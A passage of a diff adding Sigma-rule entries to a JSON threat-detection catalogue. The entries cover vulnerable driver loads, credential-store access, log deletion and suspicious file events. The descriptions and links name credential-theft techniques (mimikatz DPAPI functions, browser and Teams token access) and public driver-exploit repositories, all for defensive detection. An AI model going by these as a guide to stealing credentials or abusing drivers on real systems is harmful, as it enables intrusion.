Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects a driver load from a temporary directory", + "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", + "value": "Suspicious Driver Load from Temp", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_susp_temp_use.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2017/02/12", + "filename": "driver_load_susp_temp_use.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "There is a relevant set of false positives depending on applications in the environment" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", + "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", + "value": "Vulnerable AVAST Anti Rootkit Driver Load", + "meta": { + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/28", + "filename": "driver_load_vuln_avast_anti_rootkit_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", + "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", + "value": "Vulnerable Dell BIOS Update Driver Load", + "meta": { + "refs": [ + "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ], + "creation_date": "2021/05/05", + "filename": "driver_load_vuln_dell_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate BIOS driver updates (should be rare)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of known vulnerable drivers by hash value", + "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", + "value": "Vulnerable Driver Load", + "meta": { + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", + "https://github.com/tandasat/ExploitCapcom", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", + "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", + "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/08/18", + "filename": "driver_load_vuln_drivers.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of known vulnerable drivers via their names only.", + "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", + "value": "Vulnerable Driver Load By Name", + "meta": { + "refs": [ + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://github.com/namazso/physmem_drivers", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/10/03", + "filename": "driver_load_vuln_drivers_names.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", + "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", + "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", + "value": "Vulnerable GIGABYTE Driver Load", + "meta": { + "refs": [ + "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", + "https://twitter.com/malmoeb/status/1551449425842786306", + "https://github.com/fengjixuchui/gdrv-loader", + "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", + "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/25", + "filename": "driver_load_vuln_gigabyte_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", + "uuid": "295c9289-acee-4503-a571-8eacaef36b28", + "value": "Vulnerable HackSys Extreme Vulnerable Driver Load", + "meta": { + "refs": [ + "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hevd_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/08/18", + "filename": "driver_load_vuln_hevd_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", + "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", + "value": "Vulnerable HW Driver Load", + "meta": { + "refs": [ + "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", + "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/26", + "filename": "driver_load_vuln_hw_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", + "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", + "value": "Vulnerable Lenovo Driver Load", + "meta": { + "refs": [ + "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", + "https://github.com/alfarom256/CVE-2022-3699/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "cve.2021.21551", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "driver_load_vuln_lenovo_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate driver loads (old driver that didn't receive an update)" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", + "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", + "value": "Vulnerable WinRing0 Driver Load", + "meta": { + "refs": [ + "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_winring0_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/26", + "filename": "driver_load_vuln_winring0_driver.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", + "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", + "value": "WinDivert Driver Load", + "meta": { + "refs": [ + "https://reqrypt.org/windivert-doc.html", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" + ], + "tags": [ + "attack.collection", + "attack.defense_evasion", + "attack.t1599.001", + "attack.t1557.001" + ], + "creation_date": "2021/07/30", + "filename": "driver_load_windivert.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate WinDivert driver usage" + ], + "logsource.category": "driver_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", + "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", + "value": "Browser Credential Store Access", + "meta": { + "refs": [ + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", + "https://github.com/lclevy/firepwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ], + "creation_date": "2022/04/09", + "filename": "file_access_win_browser_credential_stealing.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Antivirus, Anti-Spyware, Anti-Malware Software", + "Backup software", + "Software installed on other partitions other than \"C:\\\"", + "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", + "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", + "value": "Credential Manager Access", + "meta": { + "refs": [ + "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" + ], + "tags": [ + "attack.t1003", + "attack.credential_access" + ], + "creation_date": "2022/10/11", + "filename": "file_access_win_credential_manager_stealing.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", + "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", + "value": "Suspicious Access To Windows DPAPI Master Keys", + "meta": { + "refs": [ + "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/10/17", + "filename": "file_access_win_dpapi_master_key_access.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", + "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", + "value": "Suspicious Access To Windows Credential History File", + "meta": { + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", + "https://www.passcape.com/windows_password_recovery_dpapi_credhist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/10/17", + "filename": "file_access_win_susp_cred_hist_access.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_access", + "logsource.product": "windows" + } + }, + { + "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", + "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", + "value": "File Creation Date Changed to Another Year", + "meta": { + "refs": [ + "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" + ], + "tags": [ + "attack.t1070.006", + "attack.defense_evasion" + ], + "creation_date": "2022/08/12", + "filename": "file_change_win_2022_timestomping.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Changes made to or by the local NTP service" + ], + "logsource.category": "file_change", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", + "value": "Unusual File Modification by dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "file_change_win_unusual_modification_by_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_change", + "logsource.product": "windows" + } + }, + { + "description": "Detect DLL deletions from Spooler Service driver folder", + "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", + "value": "Windows Spooler Service Suspicious File Deletion", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ], + "creation_date": "2021/07/01", + "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Deletion of log files is a known anti-forensic technique", + "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", + "value": "Delete Log from Application", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/16", + "filename": "file_delete_win_delete_appli_log.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", + "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", + "value": "Deletes Backup Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/01/02", + "filename": "file_delete_win_delete_backup_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitime usage" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of a prefetch file (AntiForensic)", + "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", + "value": "Prefetch File Deletion", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2021/09/29", + "filename": "file_delete_win_delete_prefetch.yml", + "author": "Cedric MAURUGEON", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", + "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", + "value": "Exchange PowerShell Cmdlet History Deleted", + "meta": { + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/10/26", + "filename": "file_delete_win_exchange_powershell_logs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Possible FP during log rotation" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", + "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", + "value": "Sysinternals SDelete File Deletion", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/05/02", + "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitime usage of SDelete" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", + "value": "Unusual File Deletion by dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", + "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", + "value": "WebServer Access Logs Deleted", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/09/16", + "filename": "file_delete_win_webserver_access_logs_deleted.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "During uninstallation of the IIS service", + "During log rotation" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", + "value": "Suspicious File Event With Teams Objects", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "file_event_win_access_susp_teams.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", + "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", + "value": "Suspicious Unattend.xml File Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/12/19", + "filename": "file_event_win_access_susp_unattend_xml.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", + "value": "Advanced IP Scanner", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/05/12", + "filename": "file_event_win_advanced_ip_scanner.yml", + "author": "@ROxPinTeddy", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", + "value": "Anydesk Temporary Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "file_event_win_anydesk_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", + "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", + "value": "Suspicious Binary Writes Via AnyDesk", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/28", + "filename": "file_event_win_anydesk_writing_susp_binaries.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", + "value": "Unidentified Attacker November 2018", + "meta": { + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2018/11/20", + "filename": "file_event_win_apt_unidentified_nov_18.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", + "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", + "value": "BloodHound Collection Files", + "meta": { + "refs": [ + "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/09", + "filename": "file_event_win_bloodhound_collection.yml", + "author": "C.J. May", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", + "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", + "value": "CrackMapExec File Creation Patterns", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/03/12", + "filename": "file_event_win_crackmapexec_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", + "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", + "value": "New Shim Database Created in the Default Directory", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", + 